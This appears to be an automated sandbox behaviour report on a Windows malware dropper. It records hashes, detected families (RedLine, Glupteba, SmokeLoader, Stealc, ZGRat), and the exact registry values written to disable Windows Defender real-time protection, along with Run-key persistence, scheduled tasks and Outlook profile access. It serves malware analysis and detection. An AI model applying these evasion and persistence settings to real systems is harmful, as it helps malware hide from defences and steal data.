SHA256 c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512 e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

C:\Users\Admin\AppData\Local\Temp\5F16.bat

MD5 55cc761bf3429324e5a0095cab002113
SHA1 2cc1ef4542a4e92d4158ab3978425d517fafd16d
SHA256 d6cceb3c71b80403364bf142f2fa4624ee0be36a49bac25ed45a497cf1ce9c3a
SHA512 33f9f5cad22d291077787c7df510806e4ac31f453d288712595af6debe579fabed6cdf4662e46e6fa94de135b161e739f55cfae05c36c87af85ed6a6ad1c9155

C:\Users\Admin\AppData\Local\Temp\8232.exe

MD5 1f4da4661cea24c28494315a62c3471e
SHA1 a065572240e2631c720ff1a392cdce0737f48edf
SHA256 9b40e27196b2d5efd1b6ddbc6c2989e9d31ad36bce98d8f90b70cad790e2872f
SHA512 b8996d45c8626971fb75713802e435ba24f49ae0e97e14e1fed9db026c7e027d044d4f9ebd7ff9ebd6e1c2a9806e0d1804b87664e1765061a8efbb04b9f8a691

Analysis: behavioral2

Detonation Overview

Submitted

2023-12-20 01:47

Reported

2023-12-20 01:50

Platform

win10v2004-20231215-en

Max time kernel

61s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Stealc

stealer stealc

ZGRat

rat zgrat

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\3DB1.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MaxLoonaFest131 = "C:\\Users\\Admin\\AppData\\Local\\MaxLoonaFest131\\MaxLoonaFest131.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A api.ipify.org N/A N/A
N/A api.2ip.ua N/A N/A
N/A api.2ip.ua N/A N/A
N/A ipinfo.io N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Detected potential entity reuse from brand paypal.

phishing paypal

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\StdButton\stuff\is-NGSN2.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-9B972.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-MCKOI.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-96NP6.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-8INBJ.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-4AD5E.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-8E3M9.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-87OMO.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-8VIS0.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-0S09B.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-NPL7H.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-BUKGD.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-GP3OB.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\uninstall\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\stuff\is-MEN83.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-JFEDG.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-6R6PR.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-CH8KB.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-GIL9D.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\plugins\internal\is-NFR6V.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-KR541.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-57492.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-S2FM7.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-SS17P.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File opened for modification C:\Program Files (x86)\StdButton\uninstall\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-CFCIQ.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-V5HG1.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-312VA.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-GM1FN.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-GJSP5.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File opened for modification C:\Program Files (x86)\StdButton\stdbutton.exe C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-T3DHR.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-MV9EV.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-9TPJA.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\plugins\internal\is-34M1R.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\stuff\is-0LQCB.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-AO1U2.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-70BVT.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-OTIFM.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-S79SM.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-O4OO4.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-DOEPM.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-RMAE7.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-GGCPR.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-JE1OH.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-FA9KD.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-AFM49.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-I6V04.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-MNIEC.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\lessmsi\is-I72AU.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\stuff\is-0E6PU.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\is-KGG26.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\uninstall\is-U8833.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-OPHGP.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-M7F7A.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-HCVA8.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-3G66A.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-4RLQS.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-STQFR.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-I1OCF.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-I9PVU.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-90503.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A
File created C:\Program Files (x86)\StdButton\bin\x86\is-T92FA.tmp C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\sc.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\SysWOW64\cmd.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\SysWOW64\cmd.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3336304223-2978740688-3645194410-1000\{0325EA75-585C-4749-A1E2-86569320C1A2} C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
